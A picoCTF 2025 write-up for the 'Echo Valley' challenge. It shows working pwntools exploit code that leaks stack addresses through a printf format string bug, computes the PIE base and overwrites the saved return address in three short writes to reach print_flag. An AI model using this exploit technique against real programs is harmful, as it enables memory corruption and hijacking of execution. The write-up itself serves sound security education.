Echo Valley picoCTF 2025 Solution

Published: April 2, 2025

Description

A PIE-enabled binary echoes whatever you shout into it using a bare printf(buf). Use that format string vulnerability to leak the binary base, locate print_flag, and overwrite the return address.

Grab the binary and source from the challenge page.

Inspect the source: echo_valley() calls printf(buf) directly, the textbook format string vulnerability.

Run checksec: PIE enabled + Full RELRO + Stack Canary + NX + SHSTK + IBT. Full RELRO blocks GOT overwrite, so the return address is the target. The format string write-what-where approach targets the return address directly without corrupting the canary, so canary detection is not triggered.

Derive offsets locally with objdump so you don't hardcode someone else's numbers.

Probe the format-string position with %p chains to find which slot reflects your buffer (used as the offset argument to fmtstr_payload).

bash
nc verbal-sleep.picoctf.net <PORT_FROM_INSTANCE>
bash
checksec --file=valley
bash
objdump -D valley | grep -E '<print_flag>:|<main>:'
bash
# Probe format-string offset interactively, find which %N$p echoes 0x4141414141414141:
python
python3 -c "print('AAAAAAAA' + '.%p'*15)" | nc verbal-sleep.picoctf.net <PORT_FROM_INSTANCE>

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
The Buffer Overflow and Binary Exploitation guide covers format string read and write techniques (used here) alongside stack overflows and heap exploitation.
  1. Step 1
    Leak the binary base and stack return address
    Observation
    I noticed the binary has PIE enabled and printf(buf) called directly with user input, which meant the format string vulnerability could read arbitrary stack slots; leaking a saved return address from a known offset would let me compute the PIE base needed to find print_flag at runtime.
    First find your format-string position: send AAAAAAAA.%1$p.%2$p...%15$p and look for the slot whose %N$p echoes 0x4141414141414141 - that N is your offset. Then send %20$p::%21$p. Slot 20 holds the saved $rbp value (the frame pointer); slot 21 holds the return address back into main, which is used to derive the PIE base. On x86-64, the saved return address sits 8 bytes above the saved $rbp on the stack, so the return-address-location is leak[20] + 8. Derive main's static offset (0x13f2 here) by running objdump -D valley | grep '<main>:' and subtracting from the runtime slot 21 leak to recover the PIE base. Always re-derive offsets locally; rebuilds shift them.
    bash
    p.sendlineafter(b'Shouting: ', b'%20$p::%21$p')
    bash
    p.recvuntil(b'You heard in the distance: ')
    bash
    line = p.recvline().decode().strip().split('::')
    python
    return_addr_location = int(line[0], 16) + 8
    python
    main_addr = int(line[1], 16)
    bash
    pie_base = main_addr - 0x13f2
    bash
    print_flag_addr = pie_base + 0xc48  # offset of print_flag in binary
    What didn't work first

    Tried: Use %20$p alone and treat that leaked value directly as the PIE base without subtracting main's static offset.

    Slot 20 holds the saved $rbp (the caller's frame pointer), not a code pointer into the binary. It points into the stack, so subtracting any binary offset from it produces a nonsense address. The PIE base must be derived from slot 21, which is the saved return address back into main - a real code pointer - by subtracting main's known static offset obtained from objdump.

    Tried: Hardcode the format-string position as offset 6 when probing for the buffer slot instead of testing with AAAAAAAA chains.

    The buffer's position in printf's argument list depends on the specific stack frame layout at runtime, which can vary between builds, optimization levels, and local-vs-remote environments. Sending 'AAAAAAAA.%1$p.%2$p...%15$p' and looking for 0x4141414141414141 is the only reliable way to identify the real slot. Guessing 6 may work on one build and silently produce a wrong offset on another, causing fmtstr_payload to write to the wrong address.

    Learn more

    With Full RELRO enabled, the GOT (Global Offset Table) is marked read-only after the dynamic linker resolves symbols at startup. This prevents the classic technique of overwriting a GOT entry to redirect a library call to system(). The alternative is to target the saved return address on the stack inside the vulnerable function. When the function executes its ret instruction, it pops your supplied address into the instruction pointer.

    Stack position 20 holds the saved $rbp (the caller's frame pointer). On x86-64, the calling convention places the saved return address 8 bytes above the saved $rbp on the stack, so the address of the slot to overwrite is leak[20] + 8. Position 21 holds the return address back into main, which is a pointer into the binary that lets you compute the PIE base for print_flag's absolute address. Both leaks come from a single printf call with the format string %20$p::%21$p.

    Use objdump -D valley | grep -E "<print_flag>:|<main>:" locally to obtain the static offsets, then verify them at runtime. Different builds of the binary may have different offsets, so always derive them from the actual challenge binary rather than hardcoding guesses.

  2. Step 2
    Build the format string write payload
    Observation
    I noticed Full RELRO blocked a GOT overwrite and the input buffer was only 100 bytes, which suggested splitting the 6-byte address write into three 2-byte short chunks via fmtstr_payload so each format string fits within the buffer and targets the saved return address on the stack instead.
    fmtstr_payload writes a value at an address using %n. The input buffer is 100 bytes, and a full 8-byte %n write requires a format string that itself overflows it - so split into three 2-byte (short) writes that fit comfortably. The three writes target consecutive offsets 0/+2/+4 covering the low 6 bytes (the top two are zero in user-space and already correct). Each iteration of the echo loop accepts one chunk; the function still hasn't returned, so partial writes accumulate safely.
    bash
    context.arch = 'amd64'
    bash
    chunks = [print_flag_addr & 0xFFFF,
    bash
              (print_flag_addr >> 16) & 0xFFFF,
    bash
              (print_flag_addr >> 32) & 0xFFFF]
    bash
    p.sendline(fmtstr_payload(6, {return_addr_location:     chunks[0]}, write_size='short'))
    bash
    p.sendline(fmtstr_payload(6, {return_addr_location + 2: chunks[1]}, write_size='short'))
    bash
    p.sendline(fmtstr_payload(6, {return_addr_location + 4: chunks[2]}, write_size='short'))
    What didn't work first

    Tried: Use fmtstr_payload without specifying write_size='short', letting it default to a full 8-byte write in a single sendline call.

    The default write_size produces a format string that exceeds the 100-byte input buffer, so printf truncates or misparses it and the write either goes to the wrong address or silently does nothing. Splitting into three 2-byte (short) writes keeps each individual format string well within the buffer limit. The three separate sendline calls each deliver one chunk while the echo loop is still running, so all three writes land before ret is executed.

    Tried: Attempt a GOT overwrite targeting printf or puts instead of the saved return address, since that is the more common format string exploitation path.

    Full RELRO marks the entire GOT read-only after dynamic linking completes. A %n write to any GOT entry triggers a segfault immediately because the page has no write permission. The error is a SIGSEGV on the server, not a detectable application error, so the exploit just hangs and times out. Targeting the saved return address on the stack works because the stack pages always remain writable.

    Learn more

    The %n format specifier writes the count of characters printed so far to the memory address pointed to by the corresponding argument. By using %<width>c to print an exact number of characters first, an attacker can control what value gets written to an arbitrary address. fmtstr_payload() from pwntools automates this arithmetic, generating a format string that performs one or more memory writes in a single printf call.

    A 64-bit address is 8 bytes (6 significant bytes plus 2 zero bytes at the top for user-space addresses). Writing it in one shot would require a format string over 100 bytes long - larger than the buffer. The solution is to split the write into three 2-byte (short) writes targeting consecutive memory locations: return_addr_location, +2, and +4. Each write goes in a separate echo iteration. The function's return address is only read when the function executes ret, so all three partial writes complete safely before that happens.

    The offset 6 passed to fmtstr_payload is the format string's position in the printf argument list - the stack slot where the format string buffer itself begins. Finding this offset requires some probing: send AAAAAAAA.%1$p.%2$p... and find the slot that echoes 0x4141414141414141 (the hex encoding of 8 A's on x86_64). That position number is the offset to pass to fmtstr_payload. The Format String CTF guide walks through finding this offset and chaining %n writes step-by-step.

  3. Step 3
    Trigger the return and capture the flag
    Observation
    I noticed the echo loop only breaks when the user sends the literal string exit, which means sending it after completing all three partial writes would trigger the ret instruction that pops the now-overwritten return address and jumps to print_flag.
    The echo loop reads input and breaks on the literal string exit; on break, ret pops the (now-overwritten) saved RIP and execution jumps to print_flag, which reads and prints the flag file.
    bash
    p.sendline(b'exit')
    python
    print(p.recvall().decode())

    Expected output

    picoCTF{3ch0_v4ll3y_...}
    Learn more

    The three-write approach patches the return address one 16-bit chunk at a time while the function is still running. Sending exit triggers the function's exit path, executing the ret instruction which reads the now-overwritten return address. Execution jumps to print_flag, which calls system("cat flag.txt") or directly reads the flag file and prints it to stdout.

    This technique - overwriting a return address via format string %n writes - bypasses both PIE (defeated by the leak) and Full RELRO (defeated by targeting the stack instead of the GOT). This binary does have a stack canary, but the format string write-what-where attack bypasses it entirely: fmtstr_payload writes directly to the saved return address on the stack without overflowing through the canary location, so the canary value is never touched and the check at function exit passes normally. The ASLR / PIE bypass guide details the leak-and-rebase pattern used here.

Interactive tools
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{3ch0_v4ll3y_...}

Leak positions 20 and 21, compute print_flag's runtime address, overwrite the return address in three 16-bit chunks via fmtstr_payload, then send 'exit'.

Key takeaway

Format string vulnerabilities arise whenever user input is passed directly as the first argument to printf-family functions rather than as a safe %s argument. The %p and %x specifiers read stack values for information disclosure, while %n writes the character count to an arbitrary address, enabling full memory corruption. Combined with a PIE base leak from the same read primitive, this gives an attacker everything needed to redirect execution even when the GOT is read-only under Full RELRO. The same class of bug appears in network daemons, logging libraries, and embedded firmware wherever a developer mistakes a format string for a simple output call.

Related reading

Want more picoCTF 2025 writeups?

Tools used in this challenge

What to try next